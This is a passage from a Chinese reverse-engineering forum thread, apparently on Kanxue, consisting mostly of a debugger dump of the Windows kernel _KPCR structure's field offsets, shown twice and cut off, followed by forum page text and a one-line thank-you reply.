   +0x010 ContextSwitches  : Uint4B
   +0x014 SetMemberCopy    : Uint4B
   +0x018 Used_Self        : Ptr32 Void
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   +0x024 Irql             : UChar
   +0x028 IRR              : Uint4B
   +0x02c IrrActive        : Uint4B
   +0x030 IDR              : Uint4B
   +0x034 KdVersionBlock   : Ptr32 Void
   +0x038 IDT              : Ptr32 _KIDTENTRY
   +0x03c GDT              : Ptr32 _KGDTENTRY
   +0x040 TSS              : Ptr32 _KTSS
   +0x044 MajorVersion     : Uint2B
   +0x046 MinorVersion     : Uint2B
   +0x048 SetMember        : Uint4B
   +0x04c StallScaleFactor : Uint4B
   +0x050 SpareUnused      : UChar
   +0x051 Number           : UChar
   +0x052 Spare0           : UChar
   +0x053 SecondLevelCacheAssociativity : UChar
   +0x054 VdmAlert         : Uint4B
   +0x058 KernelReserved   : [14] Uint4B
   +0x090 SecondLevelCacheSize : Uint4B
   +0x094 HalReserved      : [16] Uint4B
   +0x0d4 InterruptMode    : Uint4B
   +0x0d8 Spare1           : UChar
   +0x0dc KernelReserved2  : [17] Uint4B
   +0x120 PrcbData         : _KPRCB
ntdll!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : Ptr32 Void
   +0x008 Spare2           : Ptr32 Void
   +0x00c TssCopy          : Ptr32 Void
   +0x010 ContextSwitches  : Uint4B
   +0x014 SetMemberCopy    : Uint4B
   +0x018 Used_Self        : Ptr32 Void
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   +0x024 Irql             : UChar
   +0x028 IRR              : Uint4B
   +0x02c IrrActive        : Uint4B
   +0x030 IDR              : Uint4B
   +0x034 KdVersionBlock   : Ptr32 Void
   +0x038 IDT              : Ptr32 _KIDTENTRY
   +0x03c GDT              : Ptr32 _KGDTENTRY
   +0x040 TSS              : Ptr32 _KTSS
   +0x044 MajorVersion     : Uint2B
   +0x046 MinorVersion     : Uint2B
   +0x048 SetMember        : Uint4B
   +0x04c StallScaleFactor : Uint4B
   +0x050 SpareUnused      : UChar
   +0x051 Number           : UChar
   +0x052 Spare0           : UChar
   +0x053 SecondLevelCacheAssociativity : UChar
   +0x054 VdmAlert         : Uint4B
   +0x058 KernelReserved   : [14] Uint4B

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 8
支持
分享
最新回复 (1)
雪    币: 968
活跃值: (6818)
能力值: (RANK:462 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2021-6-29 09:24
0
游客
登录 | 注册 方可回帖
返回
//